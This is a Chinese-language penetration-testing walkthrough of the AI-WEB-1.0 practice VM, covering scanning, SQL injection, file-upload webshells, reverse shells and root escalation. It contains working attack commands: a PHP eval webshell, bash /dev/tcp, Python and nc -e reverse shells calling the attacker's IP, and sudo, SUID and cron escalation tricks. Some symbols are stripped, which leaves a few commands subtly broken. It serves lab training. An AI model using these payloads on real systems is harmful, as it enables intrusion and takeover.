AI-WEB-1.0靶机渗透实战:从信息收集到权限提升完整指南 1. 项目概述与靶机环境搭建AI-WEB-1.0靶机是近年来在安全学习圈子里比较热门的一款模拟靶机它集成了多种常见的Web应用漏洞和系统层面的安全弱点非常适合用来练习从外部信息收集到最终获取系统最高权限的完整渗透测试流程。很多朋友在初次接触这类综合性靶机时往往会在信息收集阶段就卡住或者在提权的最后一步功亏一篑。今天我就结合自己多次“通关”的经验用Kali Linux作为攻击机带大家走一遍完整的流程并重点分享那些容易踩坑的环节。首先你得有一个能运行的环境。攻击机我推荐使用Kali Linux无论是物理机安装、虚拟机如VMware或VirtualBox运行还是用Docker容器都可以。关键是网络要通。靶机AI-WEB-1.0通常是一个虚拟机镜像如OVA格式你需要把它导入到你的虚拟化软件里。这里第一个坑就来了网络模式的选择。为了模拟真实的内网渗透场景我强烈建议将Kali和靶机的网络都设置为“NAT模式”下的同一虚拟网络比如VMware的VMnet8或者使用“仅主机模式”。这样两者就在同一个局域网段内可以直接互相访问。千万别一个用桥接一个用NAT到时候找不到靶机IP可就抓瞎了。启动靶机后它通常不会直接告诉你IP地址。这时我们需要在Kali上进行初步的网络发现。打开终端用ifconfig或ip addr命令先看看Kali自己获取到的IP比如是192.168.1.105那么靶机很可能就在同一个网段例如192.168.1.0/24。接下来就是信息收集的起手式了。2. 信息收集不只是扫描端口那么简单信息收集是渗透测试的基石方向错了后面全是无用功。对于AI-WEB-1.0我们的目标是找到它的IP和开放的服务。2.1 网络发现与主机探测首先使用netdiscover进行ARP扫描这是发现内网存活主机最快的方法之一sudo netdiscover -r 192.168.1.0/24-r参数指定扫描范围。很快你可能会发现一个除了你自己和网关之外的新IP比如192.168.1.120这很可能就是我们的目标靶机。记下这个IP。注意有些虚拟化环境特别是VirtualBox的某些NAT配置下ARP扫描可能不奏效。如果netdiscover没结果别慌可以尝试用ping扫描。但更高效的方法是直接使用nmap进行主机发现。sudo nmap -sn 192.168.1.0/24-sn参数表示只进行主机发现Ping扫描不扫端口。这个命令会列出所有在线的主机。2.2 全面端口与服务探测确认靶机IP假设为192.168.1.120后下一步是进行全面端口扫描了解它对外开放了哪些“大门”。sudo nmap -sS -sV -O -p- 192.168.1.120这个命令组合了多项技术-sS: TCP SYN半开放扫描速度快且相对隐蔽。-sV: 版本探测尝试识别运行在开放端口上的服务及其版本号。这是关键知道版本才能查找对应的漏洞。-O: 尝试进行操作系统识别。-p-: 扫描所有65535个端口。对于靶机全面扫描是必要的实战中则需要根据情况调整。扫描结果可能会显示类似以下内容PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 3306/tcp open mysql MySQL 5.7.33 8080/tcp open http-proxy?从结果看靶机开放了SSH22、Web80、MySQL3306和一个可能是另一个Web服务的端口8080。Web服务通常是我们的主攻方向。2.3 Web路径与敏感信息挖掘发现80和8080端口都有HTTP服务后我们需要对网站进行目录扫描和指纹识别。手动浏览先用浏览器访问http://192.168.1.120和http://192.168.1.120:8080看看是什么应用有没有明显的登录框、提示信息等。目录爆破使用工具如gobuster或dirsearch来发现隐藏的目录和文件。gobuster dir -u http://192.168.1.120 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt-u指定目标URL-w指定字典文件-x指定要尝试的扩展名。这个过程可能会发现像/admin、/backup、/robots.txt、/config.php这样的敏感路径。检查源代码在浏览器中查看页面源代码有时开发者注释里会泄露路径、测试账号等信息。技术栈识别使用whatweb或浏览器插件如Wappalyzer识别网站使用的技术比如PHP版本、框架ThinkPHP、Laravel等、前端库等。这能为后续漏洞利用提供方向。实操心得信息收集阶段一定要耐心和细致。我遇到过靶机把后台登录页面放在一个非常规的目录下或者将phpMyAdmin放在非标准端口。把每个开放端口对应的服务都摸清楚记录下所有可能成为突破口的细节比如错误的SQL语句回显、暴露的API接口等。3. 漏洞利用寻找突破点根据信息收集的结果我们需要分析并尝试利用可能的漏洞。AI-WEB-1.0靶机通常会设计多个漏洞入口。3.1 Web漏洞利用以SQL注入为例假设我们在主站80端口发现了一个搜索功能或登录框通过手动测试输入单引号‘看是否报错或工具sqlmap检测发现存在SQL注入漏洞。使用sqlmap进行自动化检测与利用sqlmap -u http://192.168.1.120/search.php?id1 --batch --dbs-u: 指定可能存在注入的URL。--batch: 以非交互模式运行自动选择默认选项。--dbs: 如果存在注入尝试枚举数据库。如果成功sqlmap会列出数据库比如webapp、mysql等。接着我们可以指定数据库枚举其中的表、字段并最终拖取数据如用户凭证。sqlmap -u http://192.168.1.120/search.php?id1 -D webapp --tables sqlmap -u http://192.168.1.120/search.php?id1 -D webapp -T users --columns sqlmap -u http://192.168.1.120/search.php?id1 -D webapp -T users -C username,password --dump重要避坑点sqlmap虽然强大但请求频繁容易触发靶机的防护机制如IP封锁或打乱你的测试思路。对于靶机练习我建议先手动尝试判断注入类型字符型还是数字型构造简单的union select语句来获取信息这能加深对漏洞原理的理解。例如判断列数http://192.168.1.120/search.php?id1 order by 5-- -不断增加order by后面的数字直到页面返回错误就能确定查询的列数。3.2 其他常见Web漏洞入口文件包含LFI/RFI如果URL参数像?pageabout.php可以尝试?page../../../../etc/passwd来读取系统文件。成功的话可能获取到系统用户信息甚至结合日志文件包含getshell。文件上传寻找头像上传、附件上传等功能。尝试上传Webshell如一句话木马?php eval($_POST[‘cmd’]);?。关键是要绕过前端和后端的过滤比如修改文件扩展名shell.php.jpg、使用双扩展名shell.php.jpg、在文件内容前添加图片魔数GIF89a、或者通过Burp Suite修改Content-Type为image/jpeg。命令执行在Web界面找到可能存在系统命令调用的功能点比如ping、traceroute。输入127.0.0.1; whoami或127.0.0.1 id来测试。8080端口的服务另一个Web端口可能运行着不同的应用比如一个内容管理系统CMS的旧版本可能存在已知的公开漏洞。这时需要根据识别出的版本号去Exploit-DB、GitHub等平台搜索对应的漏洞利用代码Exp。4. 获取初始立足点Webshell与反向Shell通过上述漏洞我们的目标是从“访问网站”变成“在靶机上执行命令”即获得一个Shell。4.1 上传Webshell并连接假设我们通过文件上传漏洞成功将一句话木马shell.php传到了服务器上的/uploads/目录。访问http://192.168.1.120/uploads/shell.php页面可能空白这正常。接下来我们需要一个工具来连接这个Webshell。可以使用中国蚁剑AntSword、冰蝎Behinder或哥斯拉Godzilla这类图形化工具它们功能强大支持加密连接。这里以更“原生”的方法为例使用curl配合POST请求curl -X POST -d “cmdwhoami” http://192.168.1.120/uploads/shell.php如果成功会返回命令whoami的执行结果比如www-data。这说明我们有了一个Web权限的Shell。但这是一个“一句话”Shell功能有限交互性差。4.2 建立反向Shell为了获得一个功能完整的交互式Shell我们需要让靶机主动连接回我们的攻击机。这就是反向Shell。在Kali上启动监听使用netcatnc在某个端口如4444上监听。nc -lvnp 4444-l监听-v详细信息-n不解析域名-p指定端口。从靶机发起连接通过我们已有的Webshell执行命令让靶机连接回Kali。这需要根据靶机系统环境来构造命令。Linux靶机最常用bash -c ‘bash -i /dev/tcp/192.168.1.105/4444 01’或者使用pythonpython3 -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.105”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/bash”,“-i”]);’Windows靶机可以使用powershell脚本但靶机环境可能不满足。更简单的方法是如果靶机有ncnetcat可以直接用nc 192.168.1.105 4444 -e cmd.exe。将上述命令注意替换Kali的IP192.168.1.105通过Webshell用curl的-d参数提交执行。如果一切顺利你会看到Kali的nc监听窗口获得了来自靶机的连接并出现了命令行提示符如www-dataai-web-1:/var/www/html$。避坑指南这是最容易失败的一步。常见问题命令执行了但没连接检查Kali的防火墙是否阻止了4444端口入站sudo ufw allow 4444。检查靶机命令中的IP和端口是否正确。连接秒断反向Shell不稳定。一旦连接成功立即升级为一个完全交互式的TTY Shell这会让操作更顺畅python3 -c ‘import pty; pty.spawn(“/bin/bash”)’或者script -qc /bin/bash /dev/null然后按CtrlZ挂起在Kali终端输入stty raw -echo; fg再输入reset最后设置终端类型export TERMxterm。 3.靶机没有python/bash/nc尝试其他语言如php、perl、ruby或者使用msfvenom生成一个可执行文件上传后运行。5. 权限提升从www-data到root拿到反向Shell后我们通常是低权限用户如www-data。最终目标是root权限。提权Privilege Escalation是另一个重头戏。5.1 信息收集内部首先在靶机内部收集信息寻找提权线索。whoami id # 查看当前用户和权限 uname -a # 查看内核版本 cat /etc/os-release # 查看发行版信息 sudo -l # 查看当前用户可以以root身份无需密码运行哪些命令非常重要 find / -perm -us -type f 2/dev/null # 查找SUID权限的文件 ps aux | grep root # 查看以root运行的进程 netstat -tulpn # 查看网络连接和监听端口 cat /etc/crontab # 查看计划任务 ls -la /home /root # 查看家目录可能有其他用户或敏感文件把这些信息仔细记录下来。5.2 利用SUID提权如果发现某些具有SUID权限的可执行文件如find、vim、bash、nmap旧版本等并且属于root那么可以利用它们来提权。例如经典的find提权find . -exec /bin/bash -p \;或者使用nmap的交互模式nmap --interactive !sh但AI-WEB-1.0可能不会放这么简单的SUID漏洞。更常见的是利用sudo -l的发现。5.3 利用sudo权限提权如果sudo -l显示当前用户可以以root身份运行某些命令而无需密码这就是黄金入口。例如User www-data may run the following commands on ai-web-1: (root) NOPASSWD: /usr/bin/vi /var/www/html/*这意味着我们可以用vi以root身份编辑/var/www/html/下的任何文件。那么我们可以在vi里执行系统命令sudo vi /var/www/html/test.txt在vi中输入:!bash或:!/bin/bash就能直接获得一个root shell。类似的命令还有/usr/bin/python、/usr/bin/perl、/usr/bin/ftp等都可以用来逃逸到shell。5.4 内核漏洞提权如果上述方法都不行并且内核版本较旧可以尝试搜索公开的内核漏洞如DirtyCow、CVE-2021-4034等。在Kali上可以使用searchsploit来搜索searchsploit linux kernel 4.4 privilege escalation找到对应的漏洞利用代码C语言将其上传到靶机可以用python3 -m http.server在Kali开一个临时HTTP服务用wget或curl在靶机下载编译并执行。# 在靶机上 gcc exploit.c -o exploit chmod x exploit ./exploit重大避坑点内核漏洞利用有风险在真实环境中错误的Exp可能导致系统崩溃蓝屏/死机。在靶机环境练习时也建议先快照虚拟机。对于AI-WEB-1.0设计者通常会更倾向于使用配置错误如sudo、SUID、计划任务而非内核漏洞来作为提权点所以优先检查前面几种情况。5.5 利用计划任务Cron Job提权检查/etc/crontab和/var/spool/cron/crontabs/看是否有以root权限定期运行的任务并且任务中的脚本或命令当前用户有写入权限。如果有我们可以修改该脚本插入反向Shell命令等待计划任务执行从而获得root权限的Shell。6. 常见问题排查与实战技巧实录在实际操作AI-WEB-1.0或其他靶机时你肯定会遇到各种问题。这里我整理了一份“踩坑实录”问题现象可能原因排查与解决思路nmap扫描不到靶机1. 网络配置错误不同网段2. 靶机防火墙丢弃ICMP/探测包1. 检查Kali和靶机IP是否在同一网段ip addr。2. 使用nmap -Pn 靶机IP跳过主机发现直接扫端口。能ping通但端口扫不出来靶机防火墙仅允许特定流量1. 尝试扫描全端口-p-。2. 尝试不同的扫描技术如-sT全连接扫描速度慢但更可靠。3. 检查是否只有Web端口804438080开放直接访问试试。上传了Webshell但访问4041. 上传路径不对2. 文件被重命名或移动3. 服务器解析问题如需要特定扩展名1. 仔细查看上传成功后的返回信息确认文件路径和名称。2. 尝试目录扫描寻找上传目录。3. 尝试.php、.php5、.phtml等不同扩展名。反向Shell命令执行后无反应1. 命令语法错误或环境不支持2. 出网限制靶机无法访问外网/Kali IP3. Kali防火墙/安全组阻止1. 换用其他语言payloadbash, python, perl, php轮流试。2. 在靶机上用ping 192.168.1.105测试到Kali的网络连通性。3. 在Kali上用sudo tcpdump -i any port 4444监听看是否有连接尝试。获得Shell后立即断开Shell不是完全交互式TTY参考上文使用python pty或script命令升级Shell。sudo -l要求输入密码当前用户不在sudoers文件里或需要密码这条路走不通转向其他提权方法如SUID、内核漏洞、计划任务等。内核Exp编译失败靶机缺少编译环境gcc, make或库文件1. 尝试静态编译的Exp。2. 在Kali上交叉编译相同架构后上传。3. 寻找不需要编译的脚本如python版Exp。提权成功后找不到flagflag文件可能被隐藏或设置了特殊权限1. 使用find / -name *flag* 2/dev/null或find / -type f -exec grep -l “flag{” {} \; 2/dev/null搜索。2. 检查/root、/home各用户目录、/var/www/、/opt等常见位置。3. 注意文件名可能是.flag、flag.txt、proof.txt等。最后再分享一个小技巧在整个渗透过程中养成随时记录的习惯。用文本文件或笔记软件记录下靶机IP、开放端口、发现的路径、漏洞点、尝试过的payload、获取到的用户名密码、内部信息收集结果等。这不仅能帮你理清思路在遇到复杂靶机时这份记录就是你的“作战地图”。AI-WEB-1.0靶机的设计往往环环相扣前面信息收集到的某个不起眼的字符串可能就是后面某个服务的密码。多练习多思考每一次“通关”都是对渗透测试生命周期的一次深刻理解。

本月热点